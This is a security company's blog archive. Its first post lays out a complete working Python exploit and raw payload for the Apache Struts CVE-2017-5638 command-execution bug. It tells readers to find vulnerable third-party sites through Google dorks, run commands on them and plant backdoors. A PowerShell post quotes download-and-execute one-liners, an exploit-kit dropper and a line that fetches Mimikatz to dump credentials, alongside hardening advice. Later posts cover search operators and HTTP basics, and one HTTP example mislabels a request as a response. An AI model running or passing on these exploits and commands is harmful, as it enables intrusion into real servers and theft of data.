Thursday, 16 November 2017

Command Execution Attacks on Apache Struts server (CVE-2017-5638)

  

COMMAND EXECUTION ATTACKS ON APACHE STRUTS SERVER (CVE-2017-5638)

WHAT ARE APACHE STRUTS?

Apache Struts is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favours convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX, and JSON.

WHAT IS CVE 2017-5638 VULNERABILITY?

CVE 2017-5638 is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts. The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header.
Public Exploit code for Exploiting CVE 2017-5638 (Source: Github)
#!/usr/bin/python
# -*- coding: utf-8 -*-
 import urllib2
import httplib
 def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload+="(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
payload+="(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload+="(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
     try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
     print(page)
    return page
 if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
How to Exploit CVE 2017-5638 using above exploit:(Exploit Process)
  1. First, we will find a web application vulnerable to apache struts code execution (CVE 2017-5638) by using google dorks.
  • Once we got the dork search results, we will check if the site is vulnerable or not by using the above exploit.
  • Copy the above exploit code and save it as any name.py. Here I’m using as struts.py. Then give exploit file permission using the command ‘chmod +x 777
  • We will use the above exploit to run system commands on vulnerable application’s server. To confirm the vulnerability we will use exploit to run ‘id’ command in a remote server. Syntax for the exploit is struts.py <url> <cmd to run>
  • As we can see from the above image, the remote server is vulnerable to code execution due to the vulnerable apache struts jakarta parser plugin in “login. Action” page.
After confirming the vulnerability, an attacker or tester can run any operating system commands on the remote server based on the privileges of the remote apache tomcat server. In above image we can see that I’m getting uid=1001 which means that I don’t have root privileges to run privileged commands on remote server.
  • An attacker or tester can check for any privilege escalation vulnerabilities in remote server to get root privileges in some cases
  • Let’s run some system commands
Above command ‘ls’ gives the list of files in the server directory. In this way an attacker can take control of the server and create persistence connection to the remote server by setting up backdoor in the server. 

 OTHER EXPLOIT SOURCES

 Popular exploit framework metasploit has released exploit code for this vulnerability in its metasploit framework exploit modules. We can access that through msfconsole in kali linux or other linux distros.

MANUAL EXPLOITATION OF VULNERABILITY: (WITHOUT EXPLOIT CODE)

  For exploiting this vulnerability manually, we can use intercepting proxies like burp suite or utilities like curl which is available in Linux.

 RAW PAYLOAD FOR EXPLOITATION:

%{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  •  If we use Burp suite, we can intercept the request of vulnerable application and add the above payload to the Content-Type header of request. In response we will get the result of our command.
  •  In the above payload, we need to change the #cmd parameter to the command of our choice to run on remote server. For example #cmd=ls or #cmd=id.
  • Since we are using ‘curl’ tool for this example we need to give command as “curl url H Content-type: <payload>”
  • In this way, we can manually exploit this vulnerability manually.

 MITIGATION AGAINST CVE 2017-5638

  Upgrade apache struts to the latest versions like 2.3.32 and 2.5.10.1 to avoid this kind of vulnerably.

REAL-WORLD DATA BREACHES DUE TO CVE 2017-5638

  Equifax Inc. is a consumer credit reporting agency. Equifax collects and aggregates information on over 800 million individual consumers and more than 88 million businesses worldwide.
Equifax, one of the three largest credit reporting firm in the United States, admitted that it had suffered a massive data breach somewhere between mid-May and July this year, which it actually discovered on July 29—that means the data of 143 million people were exposed for over 3 months. This data breach is due to the fact that, the company failed to patch this apache struts vulnerability in jakarta parser (CVE 2017-5638). (Source – thehackernews.com)

REFERENCES

In today’s threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. BriskInfosecadds the ability to easily block this vulnerability by providing the web application and server vulnerabilitytest.

Wednesday, 15 November 2017

Two Phases of Power Shell—Offensive and Defensive

TWO PHASES OF POWER SHELL—OFFENSIVE AND DEFENSIVE

Power Shell is a command line shell and powerful scripting language used on Windows computers. It has been around for more than 10 years, is used mainly by system administrators, and will replace the default command prompt on Windows in the future.
Power Shell scripts are mostly used in legitimate administration work. They can also be used to protect computers from attacks and perform analysis. However, attackers are also working with Power Shell to create their own threats.
Windows power shell let you access data stores such as registry and certificate store and has a rich expression parser

VERSIONS OF POWER SHELL

WINDOWS VERSION                     DEFAULT POWER SHELL VERSION

WINDOWS 7 SP1                                                    2.0

WINDOWS 8                                                           3.0

WINDOWS 8.1                                                        4.0

WINDOWS 10                                                         5.0

WINDOWS SERVER 2008 R2                                    2.0

WINDOWS SERVER 2012                                          3.0

WINDOWS SERVER 2012 R2                                    4.0

WINDOWS SERVER 2016                                          5.1

Here is the documentation which is provided by the Microsoft
Windows Power Shell provides some incredible features:
  • cmdlets for doing some common system administration works such as manage registry, services, processes, and event logs using WMI
  • Powerful object manipulation capabilities.
  • Extensible interface
  • Simple command-based navigation , let the users to navigate the registry and other data
  • Consistent design.

POWER SHELL INTEGRATED SCRIPTING ENVIRONMENT:

windows power shell integrated scripting environment is a host application that enables you to write and test the scripts and modules in a graphical environment.

 WHY ARE ATTACKERS USING POWER SHELL?

  1. It is installed by default on all new Windows computers.
  2. It can execute payloads directly from memory, making it stealthy.
  3. It generates few traces by default, making it difficult to find under forensic analysis.
  4. It has remote access capabilities by default with encrypted traffic.
  5. As a script, it is easy to obfuscate and difficult to detect with traditional security tools.
  6. Defenders often overlook it when hardening their systems.
  7. It can bypass application-white listing tools depending on the configuration.
  8. Many gateway sandboxes do not handle script-based malware well.
  9. It has a growing community with ready available scripts.
  10. Many system administrators use and trust the framework, allowing Power Shell malware to blend in with regular administration work.

 SCRIPT EXECUTION

In the majority of instances, Power Shell scripts are used post-ex-exploitation as down loaders for additional payloads. While the Restricted execution policy prevents users from running Power-Shell scripts with the .ps1 extension, attackers can use other Extensions to allow their scripts to be executed.
In malicious PowerShell scripts, the most frequently used commands and functions on the command line are:
→  (New-Object System.Net.Webclient).DownloadString()
→   (New-Object System.Net.Webclient).DownloadFile()
→   -IEX / -Invoke-Expression
→   Start-Process
A typical command to download and execute a remote file looks
like the following:
powershell.exe (New-Object System.Net.WebClient). DownloadFile($URL,$LocalFileLocation);Start-Process $LocalFileLocation

 EXPLOITS

Exploit kits have also been experimenting with Power Shell.
Recently, Sundown exploit kits taking advantage of the Microsoft Internet
Explorer Scripting Engine Remote Memory Corruption Vulnerability (CVE-2016-0189). These attacks impact a flaw in the Jscript and VBScript engines to execute code in Internet Explorer. The following is an example of this script.
set shell=createobject(“Shell.Application”)
shell.ShellExecute “powershell.exe”, “-nop -w hidden -c if(IntPtr]::Size -eq 4){b=’powershell.exe’}else{$b=$env:windir+’\\\\syswow64\\\\
WindowsPowerShell\\\\v1.0\\\\powershell.exe’};
$s=New-Object System.Diagnostics.ProcessStartInfo;$s. FileName=$b;$s.Arguments=’-nop -w hidden -c Import-Module BitsTransfer;Start-BitsTransfer “ &nburl&”c:\\”&nbExe&”;Invoke-Item c:\\”&nbExe&”;’;$s.UseShellExecute=$false;$p=[System.Diagnostics.Process]::Start($s); “,””,”open”,0

 SECURING WINDOWS WORKSTATIONS FROM POWER SHELL ATTACKS

Running free and near-free Microsoft tools to improve windows security
  • Launch Microsoft AppLocker to lock down what can run on the system
  • Launch LAPS to manage local admin password
Disable windows legacy & typically unused features
  • Disable WPAD
  • Disable LLMNR
  • Disable NetBIOS
  • Make sure Widgets is disabled
Enable LSA protection
The Local Security Authority Server Service process validate user for local and remote sign-ins and enforces local security policies
Disabling net session enumeration
It helps to remove the capability for any user to enumerate net session info
This process can be done by following steps:
  • Open Group Policy Management Console → right click on GPO(Group Policy object) this should contain new preference item and click Edit
  • Expand the Preference folder present under console tree Computer Configuration and then expand Windows Settings folder
  • Right click on Registry node → new → Registry Wizard
  • Select reference workstation and then click next
  • Browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\
  • Select check box for SrvsvcSessioninfo from which you want to create registry preference
  • Select check box foam a key only if you want to create a registry item for the key rather than for a value within the key
  • Finally click finish
Disable net Bios
Go to properties in network devices → TCPIPV4 properties → Advanced → WINS → disable NetBIOS over TCP/IP
Disable unnecessary services that on Windows Server 2016 Desktop Experience (based on MS Security Blog recommendations)
Script can be found in following link given:
List of awesome Security Hardening techniques for Windows

DETECT AND MITIGATE POWER SHELL ATTACKS

Power Shell has become a major threat against windows platform. There are some way to mitigate and detect PowerShell attacks.

 USING APP LOCKER:

App Locker is present in windows 10 enterprise which provides a feature to white list the applications and scripts . When a user creates an App Locker policy they can apply to files, executable s, packaged apps and scripts

DETECT MALICIOUS POWER SHELL WITH SCRIPT BLOCK LOGGING:

In Power Shell version 5 has given new several way to find malicious Power Shell. One way to find using script block logging. This feature of logging is on by default with Power Shell version 5 and it gives a clear text logging of scripts which is executed by Power Shell.
Let’s say an attacker may try to hide their scripts
power shell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
The attacker can able to create the same command into encoded format using Out-Encoded Command
But the Power Shell event logs can able to see exactly what hacker run

DISABLING THE POWER SHELL FEATURE

if a user’s has no work with PowerShell , they can disable the Power Shell feature to secure from Power Shell script injection.
Way to disable the Power Shell feature        :
First removing all users from those folders. You can easily re-enable it by adding a user.
C:\Program Files (x86)\WindowsPowerShell
C:\Program Files\WindowsPowerShell
C:\Windows\System32\WindowsPowerShell
C:\Windows\SysWOW64\WindowsPowerShell
we definitely have to disable Windows Script Host (used for executing scripts via .JS, .JSE, .VBS, .VBE)
reg add “HKCU\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f
reg add “HKLM\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f

CONCLUSION

If every hackers turns Power Shell into deadly weapon, it’s difficult for user to mitigate. So users has to study about Power Shell and defend your system before attacker gets in. so be prepare and be secure. For effective audit for windows Microsoft environment get in touch with us.

Wednesday, 24 May 2017

How Google Hacking:is done ?

GOOGLE HACKING:

Google hacking is the use of a search engine, such as Google, to locate a security vulnerability on the Internet. There are generally two types of vulnerabilities to be found on the Web: software vulnerabilities and misconfigurations.
Google hacking involves using advanced operators in the Google search engine to locate specific strings of text within search results. Some of the most popular examples are finding specific versions of vulnerable Web applications. The following search query would locate all web pages that have that particular text contained within them.

PUNCTUATION & SYMBOLS:

First, let’s understand how Google search engine will consider different symbols and meaning of it.
SNOSymbolsHow to Use
1.+Search for Google pages and blood groups
E.g. +chrome or AB+
2.@To find social tags
E.g. @googler
3.$To find price
E.g. Canon $300
4.#To find hashtags of treading topics
E.g. newyearparty
5.Using – before word or site will exclude the word or site. Usually one word has many meaning Jaguar the animal and Jaguar the car.
6.The result will include pages with the same words in same order as in the quotes.
E.g. “Imagine all the People”
7.*Add an asterisk as a place holder for any unknown or wildcard terms.
E.g. “a * saved * is a * earned”
8...Separate numbers by two periods without spaces to see results that contain numbers in range.
E.g. Camera $50 . . $100

ADVANCED OPERATORS:

These are the advanced operators in Google hacking
SnoAdvanced OperatorsHow to use
1IntitleSearches for strings in the title of the pages.
E.g. title: webinar
( finds pages with “webinar” in the page title)
2all in titleSearches for all string within the page title.
E.g. all in title: webinar Briskinfosec
(Finds pages with “webinar” and “Briskinfosec” in the page title)
3InurlSearches for strings in the URL
E.g. inurl: webinar
(Find pages with the string “conference” in the URL)
4allinurlSearches for all strings in the URL
E.g. allinurl: webinar Briskinfosec
(Find pages with string “conference” & “ Brisk” in the URL)
5infoInfo about a page
E.g. info: www.example.com
(Finds information about the Google website)
6filetypeSearches for files with files extension.
E.g. filetype:ppt
(Finds information about the Google website)
7CacheDisplay the Google cache of the page
E.g. cache: www.example.com
(shows the cached version of the page without performing the search)
8LinkLinked pages
E.g. link: www.examle.com
(Finds pages that link to the given URL).
9relatedRelated pages of the given domain name
E.g. related: www.example.com
(finds pages that links to the given URL)
10siteSearches only one website
E.g. webinar site: www.briskinfosec.com
(searches briskinfosec site for webinar info)


What is HTTP Request and Response?


OVERVIEW OF HTTP REQUEST AND RESPONSE

WHAT IS HTTP?

  • HTTP is an application layer protocol
  • The default port for HTTP is 80
  • World Wide Web Consortium and the Internet Engineering Task Force, both coordinates in the standardization of the HTTP protocol
  • The resources that can be requested by using HTTP protocol is made available with the help of a type of URI (Uniform Resource Identifier) called URL (Uniform Resource Locator).
  • A series of request and response in HTTP is called as a session in HTTP
  • HTTP version 0.9 was the first documented version of HTTP
  • HTTP is a stateless protocol (which means each and every connection is independent of each other.)
  • Hypertext Transfer Protocol (HTTP) uses Transmission Control Protocol (TCP) as the Transport Layer Protocol at Well Known port number 80. Once the TCP connection is established, the two steps in Hypertext Transfer Protocol (HTTP) communication are
    • HTTP Client Request
    • HTTP Server Response


1

  • HTTP Client Request: Hypertext Transfer Protocol (HTTP) client sends a Hypertext Transfer Protocol (HTTP) Request to the Hypertext Transfer Protocol (HTTP) Server according to the HTTP standard, specifying the information the client like to retrieve from the Hypertext Transfer Protocol (HTTP) Server.
E.g. HTTP Request Message
GET /hello.htm HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)Host: wwww.example.comAccept-Language: en-usAccept-Encoding: gzip, deflateConnection: Keep-Alive
  • HTTP Server Response: Once the Hypertext Transfer Protocol (HTTP) Request arrived at the Hypertext Transfer Protocol (HTTP) server, it will process the request and creates a Hypertext Transfer Protocol (HTTP) Response message. The Hypertext Transfer Protocol (HTTP) response message may contain the resource the Hypertext Transfer Protocol (HTTP) Client requested or information why the Hypertext Transfer Protocol (HTTP) request failed.
E.g. HTTP Response Message
POST /cgi-bin/process.cgi HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)Host: www.example.comContent-Type: application/x-www-form-urlencodedContent-Length: lengthAccept-Language: en-usAccept-Encoding: gzip, deflateConnection: Keep-Alive licenseID=string&content=string&/paramsXML=string
  • HTTP Response varies from the different server the HTTP request is sent.
From an Apache 1.3.23 server
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
From a Microsoft IIS 5.0 server:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369
From a Netscape Enterprise 4.1 server:
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close

There are various HTTP Header Security implementation required for a secure web application. Please go through my next blog HTTP Header Security.

Tuesday, 23 May 2017

What is HTTP Headers & Methods ?

WHAT IS HTTP HEADERS & METHODS ?

INTRODUCTION:

HTTP stands for “Hypertext Transfer Protocol“. The entire World Wide Web uses this protocol. It was established in the early 1990’s. Almost everything you see in your browser is transmitted to your computer over HTTP.  HTTP/1.1 is the version of HTTP in common use.
HTTP is based on the client-server architecture model and a stateless request/response protocol that operates by exchanging messages across a reliable TCP/IP connection.
E.g. HTTP Request Message
GET /hello.htm HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)Host: www.tutorialspoint.comAccept-Language: en-usAccept-Encoding: gzip, deflateConnection: Keep-Alive
E.g. HTTP Response Message
POST /cgi-bin/process.cgi HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)Host: www.tutorialspoint.comContent-Type: application/x-www-form-urlencodedContent-Length: lengthAccept-Language: en-usAccept-Encoding: gzip, deflateConnection: Keep-Alive licenseID=string&content=string&/paramsXML=string

HTTP METHODS:

HTTP defines a set of request methods to indicate the desired action to be performed for a given resource.
  1. GET – The GET method is used to retrieve information from the given server using a given URL. Requests using GET should only retrieve data and should have no other effects on the data.
  2. HEAD – Same as GET, but transfer the status line and header section only.
  3. POST – A POST request is used to send data to the server, for example, customer information, file upload, etc. Using HTML forms.
  4. PUT – Replaces all the current representation of the target resource with the uploaded content.
  5. DELETE – Removes all current representation of the target resource given by a URL.
  6. CONNECT – Establishes a tunnel to the server identified by a given URL.
  7. OPTIONS – Describes the communication option for the target resources.
  8. TRACE – Performs a message loop-back test along the path to the target resource.

HTTP RESPONSE STATUS CODES


HTTP response status codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped into five classes: informational responses, successful responses, redirects, client errors, and server’s errors.

  1. 1XX – Informational
It means the request has been received and the process is continuing.
  1. 2XX – Success
It means the action was successfully received, understood and accepted.
  1. 3XX – Redirection
It means further action must be taken in order to complete the request.
  1. 4XX – Client Error
It means the request contains incorrect syntax or cannot be fulfilled.
  1. 5XX – Server Error
It means the server failed to fulfill an apparently valid request.
The Internet Engineering Task Force has released a DRAFT on July 8, 2013, which describes an advanced version of HTTP, which in the coming near future will become an RFC for HTTP version 2 Protocol. This future version of HTTP will be having a good number of advanced features, which the current version lacks.
There were some main shortcomings in HTTP version 1 protocol and HTTP version 1.1, which are addressed by HTTP version 2. Some of these shortcomings are mentioned below.
  • HTTP version 1 allowed processing of only one request at a time. Due to this, clients will have to make multiple HTTP connections to the server, to reduce page load time.
  • Headers in multiple requests were repetitive and were very descriptive, which results in generation of larger packets(in other words previous versions were not using network resources in an optimized manner)
HTTP version 2 is also an application layer protocol, similar to previous versions. Some of the new advancements in HTTP version 2 are based on a protocol developed by Google called as speedy.
Recommended: HTTP Request and Response